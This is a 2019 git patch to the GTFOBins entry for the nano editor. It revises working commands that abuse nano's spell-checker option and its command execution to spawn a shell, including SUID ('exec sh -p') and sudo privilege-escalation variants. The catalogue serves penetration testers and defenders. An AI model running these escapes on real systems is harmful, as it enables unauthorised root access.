From b9a262c600584e8a91d8c85b3bf354770320ff29 Mon Sep 17 00:00:00 2001 From: Emilio Date: Sun, 31 Mar 2019 12:44:50 +0100 Subject: [PATCH] Fix nano shell, suid, and sudo --- _gtfobins/nano.md | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 564cfa4..4f0d95d 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -7,10 +7,8 @@ functions: reset; sh 1>&0 2>&0 - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - TF=$(mktemp) - echo 'exec sh' > $TF - chmod +x $TF - nano -s $TF /etc/hosts + nano -s /bin/sh + /bin/sh ^T file-write: - code: | @@ -23,7 +21,8 @@ functions: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp) - echo 'exec sh -p' > $TF + echo '#!/bin/sh -p + exec sh -p' > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T @@ -32,11 +31,4 @@ functions: sudo nano ^R^X reset; sh 1>&0 2>&0 - - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - code: | - TF=$(mktemp) - echo 'exec sh' > $TF - chmod +x $TF - sudo nano -s $TF /etc/hosts - ^T ---